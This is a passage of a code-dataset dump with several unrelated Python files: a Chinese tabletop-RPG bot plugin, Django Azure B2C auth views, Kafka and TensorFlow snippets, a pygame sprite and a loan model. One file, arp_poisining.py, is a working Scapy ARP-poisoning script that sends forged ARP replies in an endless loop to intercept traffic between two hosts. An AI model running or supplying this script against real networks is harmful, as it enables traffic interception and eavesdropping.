maxSlotList = bot.pcStateDict[groupId][personId]['最大法术位']\n        currentSlotList = bot.pcStateDict[groupId][personId]['当前法术位']\n    except:\n        return '还没有施法能力哦, 请先使用 .记录法术位 命令吧~'\n    result = '当前法术位'\n    index = 1\n    for maxSize in maxSlotList:\n        if maxSize != 0:\n            result += f'\\n{index}环法术位:{currentSlotList[index-1]}/{maxSize}'\n        index += 1\n    return result\n\ndef ModifySpellSlot(bot, groupId, personId, level, adjVal):\n    # level in [1, 9]\n    # adjVal in [-9, 9]\n    try:\n        currentSlotList = bot.pcStateDict[groupId][personId]['当前法术位']\n    except:\n        print('没有检测到相关信息, 请先使用 .记录法术位 命令吧~')\n    preSlot = currentSlotList[level-1]\n    if preSlot + adjVal < 0:\n        return '没有这么多法术位了...'\n    currentSlotList[level-1] += adjVal\n    bot.pcStateDict[groupId][personId]['当前法术位'] = currentSlotList\n    if adjVal < 0:\n        return f'{level}环法术位减少了{-1*adjVal}个 ({preSlot}->{preSlot+adjVal})'\n    else:\n        return f'{level}环法术位增加了{adjVal}个 ({preSlot}->{preSlot+adjVal})'\n\ndef SetMoney(bot, groupId, personId, commandStr) -> (int, str):\n    error, reason, moneyList = Str2MoneyList(commandStr)\n    if error != 0:\n        return -1, reason\n    try:\n        assert bot.pcStateDict[groupId]\n    except:\n        bot.pcStateDict[groupId] = {}\n    try:\n        pcState = bot.pcStateDict[groupId][personId]\n    except:\n        pcState = {}\n    pcState['金钱'] = moneyList\n    bot.pcStateDict[groupId][personId] = pcState\n    return 0, '牢牢记住你的财富咯~'\n\ndef ShowMoney(bot, groupId, personId):\n    try:\n        moneyList = bot.pcStateDict[groupId][personId]['金钱']\n    except:\n        return '现在身无分文呢~ 请先使用 .记录金钱 命令吧~'\n    result = f'{moneyList[0]}gp'\n    if moneyList[1] != 0:\n        result += f' {moneyList[1]}sp'\n    if moneyList[2] != 0:\n        result += f' {moneyList[2]}cp'\n    return result\n\ndef ClearMoney(bot, groupId, personId):\n    try:\n        del bot.pcStateDict[groupId][personId]['金钱']\n    except:\n        pass\n    return '已经将你的财富忘记啦~'\n\ndef ModifyMoney(bot, groupId, personId, commandStr):\n    try:\n        moneyList = bot.pcStateDict[groupId][personId]['金钱'].copy()\n    except:\n        return '现在身无分文呢~ 请先使用 .记录金钱 命令吧~'\n    error, reason, adjList = Str2MoneyList(commandStr)\n    if error != 0:\n        return reason\n    totalVal = moneyList[0]*100 + moneyList[1]*10+ moneyList[0]\n    adjVal = adjList[0]*100 + adjList[1]*10+ adjList[0]\n    if totalVal + adjVal < 0:\n        return '余额不足, 请及时充值~'\n    # 当前的铜币不足以支付要求的铜币, 则用银币或金币换取\n    if moneyList[2] + adjList[2] < 0:\n        # 加上银币\n        if adjList[2]+moneyList[2]+moneyList[1]*10 < 0:\n            # 依然不够则加上金币\n            gpNum = math.ceil((adjList[2]+moneyList[2]+moneyList[1]*10)/-100)\n            moneyList[2] = adjList[2]+moneyList[2]+moneyList[1]*10+gpNum*100\n            moneyList[1] = 0\n            moneyList[0] -= gpNum\n        else:\n            #换取部分银币\n            spNum = math.ceil((adjList[2]+moneyList[2])/-10)\n            moneyList[2] = adjList[2]+moneyList[2]+spNum*10\n            moneyList[1] -= spNum\n    else:\n        moneyList[2] = adjList[2]+moneyList[2]\n\n    # 当前的银币不足以支付要求的银币, 则用铜币或金币换取\n    if moneyList[1] + adjList[1] < 0:\n        # 加上铜币如果仍然不够\n        if adjList[1]+moneyList[1]+moneyList[2]//10 < 0:\n            # 再加上金币\n            gpNum = math.ceil((adjList[1]+moneyList[1]+moneyList[2]//10)/-10)\n            moneyList[1] = adjList[1]+moneyList[1]+moneyList[2]//10+gpNum*10\n            moneyList[2] -= (moneyList[2]//10)*10\n            moneyList[0] -= gpNum\n        else:\n            #换取部分铜币支付\n            cpNum = (adjList[1]+moneyList[1])*-10\n            moneyList[1] = 0\n            moneyList[2] -= cpNum\n    else:\n        moneyList[1] = adjList[1]+moneyList[1]\n\n    # 当前的金币不足以支付要求的金币, 则用银币或铜币换取\n    if moneyList[0] + adjList[0] < 0:\n        # 加上银币\n        if adjList[0]+moneyList[0]+moneyList[1]//10 < 0:\n            # 依然不够则加上铜币支付\n            cpNum = (adjList[0]+moneyList[0]+moneyList[1]//10)*-100\n            moneyList[0] = 0\n            moneyList[1] -= (moneyList[1]//10)*10\n            moneyList[2] -= cpNum\n        else:\n            spNum = (adjList[0]+moneyList[0])*-10\n            moneyList[0] = 0\n            moneyList[1] -= spNum\n    else:\n        moneyList[0] = adjList[0]+moneyList[0]\n    preMoneyStr = ShowMoney(bot, groupId, personId)\n    bot.pcStateDict[groupId][personId]['金钱'] = moneyList\n    curMoneyStr = ShowMoney(bot, groupId, personId)\n    return f'的金钱{commandStr} ({preMoneyStr}->{curMoneyStr})'\n\ndef JoinTeam(bot, groupId, personId, name) -> str:\n    try:\n        bot.pcStateDict[groupId][personId]['熟练加值']\n    except:\n        return '必须先记录角色卡才能加入队伍~'\n\n    try:\n        teamDict = bot.teamInfoDict[groupId]\n        name = teamDict['name']\n    except:\n        teamDict = {}\n        if not name:\n            name = '无名小队'\n        teamDict['name'] = name\n        teamDict['members'] = []\n    if not personId in teamDict['members']:\n        teamDict['members'].append(personId)\n    else:\n        return f'你已经加入{name}啦~'\n    bot.teamInfoDict[groupId] = teamDict\n    return f'成功加入{name}, 当前共{len(teamDict[\"members\"])}人。 查看队伍信息请输入 .队伍信息 或 .完整队伍信息'\n\ndef ClearTeam(bot, groupId) -> str:\n    try: #查找已存在的先攻信息\n        del bot.teamInfoDict[groupId]\n        # UpdateJson(self.teamInfoDict, LOCAL_TEAMINFO_PATH)\n        return '队伍信息已经删除啦'\n    except: #如未找到, 返回错误信息\n        return '无法删除不存在的队伍哦'\n\ndef ShowTeam(bot, groupId) -> str:\n    try:\n        teamDict = bot.teamInfoDict[groupId]\n        name = teamDict['name']\n    except:\n        return '还没有创建队伍哦~'\n    result = f'{name}:'\n    for pId in teamDict['members']:\n        try:\n            nickName = bot.nickNameDict[groupId][pId]\n        except:\n            nickName = pId\n        result += f'\\n{GetPlayerInfoShort(bot, groupId, pId, nickName)}'\n        \n    return result\n\ndef CallTeam(bot, groupId) -> str:\n    try:\n        teamDict = bot.teamInfoDict[groupId]\n        name = teamDict['name']\n        # assert teamDict['members']\n    except:\n        return '还没有创建队伍哦~'\n    result = f'{name}的成员快来呀~\\n'\n    for pId in teamDict['members']:\n        result += f'[CQ:at,qq={pId}] '\n    return result[:-1]\n\ndef ShowTeamFull(bot, groupId) -> str:\n    try:\n        teamDict = bot.teamInfoDict[groupId]\n        name = teamDict['name']\n    except:\n        return '还没有创建队伍哦~'\n    result = f'{name}的完整信息:'\n\n    for pId in teamDict['members']:\n        try:\n            nickName = bot.nickNameDict[groupId][pId]\n        except:\n            nickName = pId\n        result += f'\\n----------\\n{GetPlayerInfoFull(bot, groupId, pId, nickName)}'\n    return result\n\ndef LongRest(bot, groupId, personId) -> str:\n    isValidSlot = False\n    isValidHp = False\n    try:\n        maxSlotList = bot.pcStateDict[groupId][personId]['最大法术位']\n        currentSlotList = bot.pcStateDict[groupId][personId]['当前法术位']\n        isValidSlot = True\n    except:\n        pass\n    try:\n        hp = bot.pcStateDict[groupId][personId]['hp']\n        maxhp = bot.pcStateDict[groupId][personId]['maxhp']\n        isValidHp = True\n    except:\n        pass\n    if not isValidSlot and not isValidHp:\n        return '至少要设置最大生命值和最大法术位中的一项'\n    result = ''\n    if isValidHp:\n        result = f'\\n生命值: {hp}->{maxhp}'\n        bot.pcStateDict[groupId][personId]['hp'] = maxhp\n    if isValidSlot:\n        result += '\\n法术环位:\\n'\n        for i in range(9):\n            if maxSlotList[i] != currentSlotList[i]:\n                result += f'{currentSlotList[i]}->{maxSlotList[i]}/'\n            else:\n                result += f'{maxSlotList[i]}/'\n        result = result[:-1]\n        bot.pcStateDict[groupId][personId]['当前法术位'] = maxSlotList.copy()\n    return result\n\ndef ModifyHPInfo(stateDict, subType, hp, maxhp, name, resultStrHp) -> (dict, str):\n    assert subType in ['=', '+', '-']\n    result = ''\n    preHP = stateDict['hp']\n    if subType == '=':\n        stateDict['hp'] = hp\n        stateDict['alive'] = True\n        result = f'成功将{name}的生命值设置为{resultStrHp}'\n        if maxhp:\n            stateDict['maxhp'] = maxhp\n            result += f', 最大生命值是{maxhp}'\n    elif subType == '+':\n        stateDict['hp'] += hp\n        stateDict['alive'] = True\n        result = f'{name}的生命值增加了{resultStrHp} ({preHP}->{stateDict[\"hp\"]})'\n    elif subType == '-':\n        if stateDict['alive']:\n            if stateDict['hp'] > 0 and hp >= stateDict[\"hp\"]:\n                stateDict['hp'] = 0\n                stateDict['alive'] = False\n                result = f'{name}的生命值减少了{resultStrHp} ({preHP}->0)\\n因为生命值降至0, {name}昏迷/死亡了!'\n            else:\n                stateDict['hp'] -= hp\n                result = f'{name}的生命值减少了{resultStrHp} ({preHP}->{stateDict[\"hp\"]})'\n        else:\n            result = f'{name}的生命值减少了{resultStrHp}\\n{name}当前生命值已经是0, 无法再减少了 (0->0)'\n\n    return stateDict, result\n\ndef Str2MoneyList(commandStr) -> (int, str, list):\n    moneyList = [0,0,0]\n    gpIndex = commandStr.find('gp')\n    spIndex = commandStr.find('sp')\n    cpIndex = commandStr.find('cp')\n    if gpIndex == -1 and spIndex == -1 and cpIndex == -1:\n        try:\n            moneyList[0] = int(commandStr)\n            return 0, '', moneyList\n        except:\n            return -1, '找不到有效的关键字[\"gp\", \"sp\", \"cp\"]', None\n    if gpIndex != -1:\n        try:\n            value = int(commandStr[0:gpIndex])\n            moneyList[0] = value\n            assert value >= -100000000 and value <= 100000000\n            gpIndex += 2\n        except:\n            return -1, f'{commandStr[0:gpIndex]}不是有效的数额', None\n    if spIndex != -1:\n        try:\n            startIndex = max(gpIndex, 0)\n            value = int(commandStr[startIndex:spIndex])\n            moneyList[1] = value\n            assert value >= -100000000 and value <= 100000000\n            spIndex += 2\n        except:\n            return -1, f'{commandStr[startIndex:spIndex]}不是有效的数额', None\n    if cpIndex != -1:\n        try:\n            startIndex = max([0, gpIndex, spIndex])\n            value = int(commandStr[startIndex:cpIndex])\n            moneyList[2] = value\n            assert value >= -100000000 and value <= 100000000\n        except:\n            return -1, f'{commandStr[startIndex:cpIndex]}不是有效的数额', None\n    return 0, '', moneyList","sub_path":"plugins/tool_pc.py","file_name":"tool_pc.py","file_ext":"py","file_size_in_byte":30390,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"646615148","text":"\nimport  time\nimport logging\n\ndef is_valid_date(str):\n    try:\n        time.strptime(str, \"%Y-%m-%d\")\n        return  str\n    except:\n        return time.strftime(\"%Y-%m-%d\",time.localtime(time.time()))\n\nif __name__ == '__main__':\n     print(is_valid_date(None))","sub_path":"templates/test/import.py","file_name":"import.py","file_ext":"py","file_size_in_byte":262,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"238939749","text":"from dataclasses import asdict\n\nfrom django.shortcuts import redirect\nfrom django.shortcuts import render\nfrom django.urls import reverse\n\nfrom django_azure_b2c_auth.apps.core.services.microsoft_b2c import build_auth_code_flow\nfrom django_azure_b2c_auth.apps.core.services.microsoft_b2c import build_logout_uri\nfrom django_azure_b2c_auth.settings import B2C_AUTHORITY_PROFILE_EDITING\nfrom django_azure_b2c_auth.settings import B2C_AUTHORITY_SIGN_UP_SIGN_IN\nfrom django_azure_b2c_auth.settings import B2C_SCOPES\n\n\ndef index(request):\n    logged_user = request.session.get(\"user\")\n    context = {}\n\n    if logged_user:\n        redirect_uri = _build_redirect_uri(request)\n        auth_flow_edit = build_auth_code_flow(authority=B2C_AUTHORITY_PROFILE_EDITING, redirect_uri=redirect_uri)\n        request.session[\"flow-edit\"] = asdict(auth_flow_edit)\n        context[\"auth_flow_edit_uri\"] = auth_flow_edit.auth_uri\n\n    return render(request, \"core/pages/home.html\", context)\n\n\ndef logout(request):\n    request.session.flush()\n    index_request_path = reverse(\"index\")\n    redirect_uri = request.build_absolute_uri(index_request_path)\n    redirect_uri = redirect_uri.replace(\"http\", \"https\") if \"localhost\" not in redirect_uri else redirect_uri\n    final_address = build_logout_uri(redirect_uri)\n    return redirect(final_address)\n\n\ndef initiate_login_flow(request):\n    redirect_uri = _build_redirect_uri(request)\n    auth_flow_details = build_auth_code_flow(\n        authority=B2C_AUTHORITY_SIGN_UP_SIGN_IN, scopes=B2C_SCOPES, redirect_uri=redirect_uri\n    )\n    # So we can retrieve it later\n    request.session[\"flow\"] = asdict(auth_flow_details)\n    # Then we redirect the user\n    return redirect(auth_flow_details.auth_uri)\n\n\ndef _build_redirect_uri(request):\n    location_redirect = reverse(\"v1/response-oidc\")\n    redirect_uri = request.build_absolute_uri(location_redirect)\n    return redirect_uri.replace(\"http\", \"https\") if \"localhost\" not in redirect_uri else redirect_uri","sub_path":"django_azure_b2c_auth/apps/core/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1979,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"589827568","text":"# -*- coding:utf-8 -*-\n\"\"\"\n@contact: adonis_wu@outlook.com\n@file: multi.py\n@time: 2018/8/24 15:18\n\"\"\"\n__author__ = '🍊 Adonis Wu 🍊'\n\nimport tensorflow as tf\nimport numpy as np\n\nlstm_cell_1 = tf.contrib.rnn.BasicLSTMCell(num_units=128)\nlstm_cell_2 = tf.contrib.rnn.BasicLSTMCell(num_units=256)\nlstm_cell_3 = tf.contrib.rnn.BasicLSTMCell(num_units=512)\n# 多层lstm_cell\nlstm_cell = tf.contrib.rnn.MultiRNNCell(cells=[lstm_cell_1, lstm_cell_2, lstm_cell_3])\n\nprint(\"output_size:\", lstm_cell.output_size)\nprint(\"state_size:\", lstm_cell.state_size)\n\n\n# output_size: 512\n# state_size: (LSTMStateTuple(c=128, h=128), LSTMStateTuple(c=256, h=256), LSTMStateTuple(c=512, h=512))","sub_path":"multi.py","file_name":"multi.py","file_ext":"py","file_size_in_byte":675,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"13816342","text":"from __future__ import annotations\n\n__copyright__ = \"\"\"Copyright (C) 2020 Matt Wala\"\"\"\n\n__license__ = \"\"\"\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in\nall copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\nTHE SOFTWARE.\n\"\"\"\n\n__doc__ = \"\"\"\n.. currentmodule:: pytato\n\n.. autofunction:: generate_loopy\n\n.. currentmodule:: pytato.target.loopy\n\n.. autoclass:: LoopyTarget\n.. autoclass:: LoopyPyOpenCLTarget\n.. autoclass:: BoundPyOpenCLProgram\n\"\"\"\n\nimport sys\nfrom dataclasses import dataclass\n\nfrom typing import Any, Mapping, Optional, Union, Callable\n\nfrom pytato.target import Target, BoundProgram\n\nimport loopy\n\n\n# set in doc/conf.py\nif getattr(sys, \"PYTATO_BUILDING_SPHINX_DOCS\", False):\n    # Avoid import unless building docs to avoid creating a hard\n    # dependency on pyopencl, when Loopy can run fine without.\n    import pyopencl\n\n\nclass LoopyTarget(Target):\n    \"\"\"An :mod:`loopy` target.\n\n    .. automethod:: get_loopy_target\n    \"\"\"\n\n    def get_loopy_target(self) -> \"loopy.TargetBase\":\n        \"\"\"Return the corresponding :mod:`loopy` target.\"\"\"\n        raise NotImplementedError\n\n\nclass LoopyPyOpenCLTarget(LoopyTarget):\n    \"\"\"A :mod:`pyopencl` code generation target.\n\n    .. attribute:: device\n\n        The :mod:`pyopencl` device used to construct the\n        :class:`loopy.PyOpenCLTarget`, or *None*.\n    \"\"\"\n\n    def __init__(self, device: Optional[\"pyopencl.Device\"] = None):\n        import pyopencl as cl\n        if device is not None and not isinstance(device, cl.Device):\n            raise TypeError(\"device must be cl.Device or None\")\n        self.device = device\n\n    def get_loopy_target(self) -> \"loopy.LoopyPyOpenCLTarget\":\n        import loopy as lp\n        return lp.PyOpenCLTarget(self.device)\n\n    def bind_program(self, program: Union[\"loopy.Program\", \"loopy.LoopKernel\"],\n            bound_arguments: Mapping[str, Any]) -> BoundProgram:\n        return BoundPyOpenCLProgram(program=program,\n                bound_arguments=bound_arguments,\n                target=self)\n\n\n@dataclass(init=True, repr=False, eq=False)\nclass BoundPyOpenCLProgram(BoundProgram):\n    \"\"\"A wrapper around a :mod:`loopy` kernel for execution with :mod:`pyopencl`.\n\n    .. automethod:: __call__\n    .. automethod:: copy\n    .. automethod:: with_transformed_program\n    \"\"\"\n\n    def copy(self, *,\n             program: Optional[loopy.TranslationUnit] = None,\n             bound_arguments: Optional[Mapping[str, Any]] = None,\n             target: Optional[Target] = None\n             ) -> BoundPyOpenCLProgram:\n        if program is None:\n            program = self.program\n\n        if bound_arguments is None:\n            bound_arguments = self.bound_arguments\n\n        if target is None:\n            target = self.target\n\n        return BoundPyOpenCLProgram(program=program,\n                                    bound_arguments=bound_arguments,\n                                    target=target)\n\n    def with_transformed_program(self, f: Callable[[loopy.TranslationUnit],\n                                                   loopy.TranslationUnit]\n                                 ) -> BoundPyOpenCLProgram:\n        \"\"\"\n        Returns a copy of *self* with an *f*-transformed loopy translation unit.\n        \"\"\"\n        return self.copy(program=f(self.program))\n\n    def __call__(self, queue: \"pyopencl.CommandQueue\",  # type: ignore\n                 allocator=None, wait_for=None, out_host=None,\n                 entrypoint=\"_pt_kernel\",\n                 **kwargs: Any) -> Any:\n        \"\"\"Convenience function for launching a :mod:`pyopencl` computation.\"\"\"\n\n        if set(kwargs.keys()) & set(self.bound_arguments.keys()):\n            raise ValueError(\"Got arguments that were previously bound: \"\n                    f\"{set(kwargs.keys()) & set(self.bound_arguments.keys())}.\")\n\n        updated_kwargs = dict(self.bound_arguments)\n        updated_kwargs.update(kwargs)\n\n        # final DAG might be independent of certain placeholders, for ex.\n        # '0 * x' results in a final loopy t-unit that is independent of the\n        # array 'x', do not pass such inputs\n        updated_kwargs = {kw: arg\n                          for kw, arg in updated_kwargs.items()\n                          if kw in self.program.default_entrypoint.arg_dict}\n\n        return self.program(queue,\n                            allocator=allocator, wait_for=wait_for,\n                            out_host=out_host, entrypoint=entrypoint,\n                            **updated_kwargs)\n\n    @property\n    def kernel(self) -> \"loopy.LoopKernel\":\n        if isinstance(self.program, loopy.LoopKernel):\n            return self.program\n        else:\n            return self.program[\"_pt_kernel\"]\n\n\n# vim: foldmethod=marker\n","sub_path":"pytato/target/loopy/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":5610,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"64537835","text":"#!usr/bin/python\nfrom scapy.all import *\n'''\nThis file performs arp_poisoing to do a MITM(main in the middle attack). Do not use for evil!\n'''\n\n#1 =arp request 2 =arp reply\nclientip='192.168.50.25'\nclientmac='00:50:56:99:7B:FA'\n\nservip='192.168.50.175'\nservmac= '00:50:56:99:19:9A'\nf=\"arp and host 192.168.50.25 and host 192.168.50.175\"\n\nwhile 1:\n try:\n   print('Start sending arp packets')\n   send(ARP(op=2,pdst=clientip,psrc=servip,hwdst=clientmac)) # posioned arp reply for server\n   send(ARP(op=2,pdst=servip,psrc=clientip,hwdst=servmac)) #poisoned arp reply for client\n   sniff(filter=f,count=1)#wait to see if client and serv try to revert, then send an arp reply to both\n except:\n   print(\"Something went wrong\")\n\n","sub_path":"arp_poisining.py","file_name":"arp_poisining.py","file_ext":"py","file_size_in_byte":721,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"567261031","text":"import tensorflow\nimport csv\nimport  numpy as np\n\n\n\na=np.array([1,2,3,5,6,7])\n\n\ns =\"123 4325 1233\"\ns =\"123\"\nl = s.split(\" \")\nprint(len(l))\n\ndictest={}\n\ndictest[\"123\"]=4444\nprint(dictest.get(\"123\"))\n\n\n\n","sub_path":"TestEnv/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":201,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"138200823","text":"from . celery import app\nfrom celery.utils.log import get_task_logger\nfrom . kafka import KafkaConfig\nfrom . models import Message\n\n\nlogger = get_task_logger('consumer')\n\n\n@app.on_after_finalize.connect\ndef setup_periodic_tasks(sender, **kwargs):\n    sender.add_periodic_task(1.0, consume_kafka_messages.s(),\n                             name='consume kafka messages')\n\n\nkafka = KafkaConfig()\n\n\n@app.task\ndef consume_kafka_messages():\n    if not kafka.is_connected_to_kafka():\n        kafka.connect()\n    msgs = kafka.poll_for_messages()\n\n    for msg in msgs:\n        if msg is not None:\n            if msg.error():\n                logger.error(\"Consumer error: {}\".format(msg.error()))\n            else:\n                logger.warning('Received message: {}'.format(\n                        msg.value().decode('utf-8')))\n                message = Message.create(msg.value().decode('utf-8'))\n                message.save()\n                message.refresh_from_db()\n                logger.warning('Result saved: ' + message.msg)\n    else:\n        logger.info(\"No messages this time...\")\n","sub_path":"kafka-consumer/src/consumer/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":1085,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"367068259","text":"import pygame as pg\nfrom settings import *\nfrom animation import Animation, PlayMode\nfrom container import Container\nfrom .collision import *\n\n\nclass Player(pg.sprite.Sprite):\n    def __init__(self, game, x, y):\n        self.game = game\n        self.groups = game.all_sprites\n        pg.sprite.Sprite.__init__(self, self.groups)\n\n        self.idle_image = game.spritesheet.get_image_alpha(0, 32, 32, 32)\n\n        self.image = self.idle_image\n        self.rect = self.image.get_rect()\n        self.hit_rect = pg.Rect(0, 0, 16, 30)\n        self.hit_rect.center = self.rect.center\n\n        self.x = x * TILE_SIZE\n        self.y = y * TILE_SIZE\n        self.vx, self.vy = 0, 0\n        self.spd = 200\n        self.last_movex = 0.0\n        self.last_movey = 0.0\n        self.moving = False\n\n        self.animation_timer = 0.0\n        self.idling_animation = Animation(\n            0.50, PlayMode.LOOP,\n            game.spritesheet.get_image_alpha(0, 32, 32, 32),\n            game.spritesheet.get_image_alpha(32, 32, 32, 32)\n        )\n        self.walking_animation_up = Animation(\n            0.10, PlayMode.LOOP,\n            game.spritesheet.get_image_alpha(64, 32, 32, 32),\n            game.spritesheet.get_image_alpha(96, 32, 32, 32),\n            game.spritesheet.get_image_alpha(128, 32, 32, 32)\n        )\n        self.walking_animation_down = Animation(\n            0.10, PlayMode.LOOP,\n            game.spritesheet.get_image_alpha(160, 32, 32, 32),\n            game.spritesheet.get_image_alpha(192, 32, 32, 32),\n            game.spritesheet.get_image_alpha(224, 32, 32, 32)\n        )\n        self.walking_animation_left = Animation(\n            0.10, PlayMode.LOOP,\n            game.spritesheet.get_image_alpha(64, 64, 32, 32),\n            game.spritesheet.get_image_alpha(96, 64, 32, 32),\n            game.spritesheet.get_image_alpha(128, 64, 32, 32)\n        )\n        self.walking_animation_right = Animation(\n            0.10, PlayMode.LOOP,\n            game.spritesheet.get_image_alpha(160, 64, 32, 32),\n            game.spritesheet.get_image_alpha(192, 64, 32, 32),\n            game.spritesheet.get_image_alpha(224, 64, 32, 32)\n        )\n\n        self.container = Container(self, 16)\n\n    def input(self):\n        self.vx, self.vy = 0, 0\n        keys = pg.key.get_pressed()\n        if keys[pg.K_LEFT] or keys[pg.K_a]:\n            self.vx = -self.spd\n            self.last_movex = -1\n            self.last_movey = 0\n        if keys[pg.K_RIGHT] or keys[pg.K_d]:\n            self.vx = self.spd\n            self.last_movex = 1\n            self.last_movey = 0\n        if keys[pg.K_UP] or keys[pg.K_w]:\n            self.vy = -self.spd\n            self.last_movey = -1\n            self.last_movex = 0\n        if keys[pg.K_DOWN] or keys[pg.K_s]:\n            self.vy = self.spd\n            self.last_movey = 1\n            self.last_movex = 0\n\n        # diagonals\n        if self.vx != 0 and self.vy != 0:\n            self.vx *= 0.707\n            self.vy *= 0.707\n\n        if self.game.key_just_pressed(pg.K_q):\n            self.drop_item()\n        elif self.game.key_just_pressed(pg.K_g) or self.game.key_just_pressed(pg.K_e):\n            self.pickup_items()\n        if self.game.key_just_pressed(pg.K_SPACE):\n            self.game.showTextBox = False\n\n\n    def update(self, dt):\n        self.input()\n\n        self.x += self.vx * dt\n        self.y += self.vy * dt\n        # move on x\n        self.hit_rect.x = self.x\n        collide_with_map(self, self.game.walls, 'x')\n        # move on y\n        self.hit_rect.y = self.y\n        collide_with_map(self, self.game.walls, 'y')\n        # update image rect\n        self.rect.center = self.hit_rect.center\n\n        if self.vx != 0 or self.vy != 0:\n            self.moving = True\n        else:\n            self.moving = False\n\n        self.pickup_items(True)\n        self.update_animation(dt)\n\n    def update_animation(self, dt):\n        self.image = self.idling_animation.get_key_frame(self.animation_timer)\n\n        if self.moving and self.last_movey != 0:\n            if self.last_movey > 0:\n                self.image = self.walking_animation_up.get_key_frame(self.animation_timer)\n            else:\n                self.image = self.walking_animation_down.get_key_frame(self.animation_timer)\n        elif self.moving and self.last_movex != 0:\n            if self.last_movex > 0:\n                self.image = self.walking_animation_right.get_key_frame(self.animation_timer)\n            else:\n                self.image = self.walking_animation_left.get_key_frame(self.animation_timer)\n\n        self.animation_timer += dt\n        if self.animation_timer >= 60:\n            self.animation_timer = 0.0\n\n    def pickup_items(self, auto_pick=False):\n        items = pg.sprite.spritecollide(self, self.game.items_on_floor, False)\n        for item in items:\n            if item.pickable is not None:\n                if auto_pick is True and item.pickable.auto_pick is False:\n                    continue\n                print(\"picked up:\", item.pickable.id, \"x\", item.pickable.amount)\n                self.game.text = \"I finded \"+item.pickable.id+\" !\"\n                self.game.showTextBox = True\n                self.container.add(item.pickable)\n                self.game.all_sprites.remove(item)  # TODO move to pickable.py?\n                self.game.items_on_floor.remove(item)\n\n    def drop_item(self):\n        # drops first existing item\n        pickable = next((value for value in self.container.inventory if value is not None), None)\n        if pickable is not None:\n            self.container.remove(pickable)\n            item = pickable.owner\n            item.set_position(self.x, self.y)\n            self.game.all_sprites.add(item)\n            self.game.items_on_floor.add(item)\n            print(\"dropped:\", item.pickable.id, \"x\", item.pickable.amount)\n            self.game.text = \"I droped \"+item.pickable.id+\" !\"\n            self.game.showTextBox = True\n","sub_path":"sprites/player.py","file_name":"player.py","file_ext":"py","file_size_in_byte":5906,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"585496478","text":"from offer import Offer\nimport datetime\nimport uuid\nfrom borrower import Borrower\nimport threading\n\n\nclass Loan():\n\n    def __init__(self):\n\n        self.status = None\n        self.borrower = None\n        self.investor = None\n        self.interest = None\n        self.amount = None\n        self.installment_period = None\n        self.acceptedOffer = None\n        self.loanAlreadyTaken = False\n        self.reqSubmitted = False\n        self.__identity = str(uuid.uuid4())\n        self.time = str(datetime.datetime.now())\n        self.offers = []\n\n    @property\n    def identity(self):\n\n        return str(self.__identity)\n\n    def __isValidRequest(self, borrower, amount, installment_period):\n        if isinstance(borrower, Borrower) and amount > 0 and installment_period > 0 and not self.loanAlreadyTaken:\n            return True\n        else:\n            return False\n\n    def submitLoanRequest(self, borrower, amount, installment_period):\n\n        print('submitLoanRequest ... in progress ...')\n        if self.__isValidRequest(borrower, amount, installment_period):\n            self.status = 'Requested'\n            self.borrower = borrower\n            self.borrower.loans.append(self)\n            self.amount = amount\n            self.installment_period = installment_period\n            self.reqSubmitted = True\n            return print('Thanks! your request has been successfully submitted. \\n')\n        else:\n            return print('Sorrys! your request is invalid. \\n')\n\n    def showLoanReqDetails(self):\n\n        print('showLoanReqDetails ... in progress ...')\n\n        if self.reqSubmitted:\n            return print({\n                'amount': self.amount,\n                'installment_period': self.installment_period,\n                'submitted_at': self.time\n            })\n        else:\n            return print('not initiated! \\n')\n\n    def __isValidOffer(self, investor, interest):\n\n        isValid = False\n        if self.loanAlreadyTaken:\n            validationErr = (\n                'Sorry Loan is already applied by another Investor! \\n')\n\n        elif investor.balance < self.amount:\n            validationErr = ('Sorry you dont have enough credite! \\n')\n\n        else:\n            isValid = True\n            validationErr = None\n\n        return {'isValid': isValid, 'validationErr': validationErr}\n\n    def submitLoanOffer(self, investor, interest):\n\n        print('submitLoanOffer ... in progress ...')\n\n        validation = self.__isValidOffer(investor, interest)\n        if validation['isValid']:\n            offer = Offer(investor, interest, self)\n            investor.offers.append(offer)\n            self.offers.append(offer)\n            return print('Thanks your offer is successfully submitted! \\n')\n        else:\n            return print(validation['validationErr'])\n\n    def showLoanOffers(self):\n\n        print('showLoanOffers ... in progress ...')\n\n        return print('Sorry no one submit offers yet! \\n' if len(self.offers) == 0 else [(offer.id, offer.interest) for offer in self.offers])\n\n    def __doTransaction(self):\n        self.investor.payLoan(self.amount, self.interest)\n        self.borrower.getLoan(self.amount, self.interest)\n\n    def 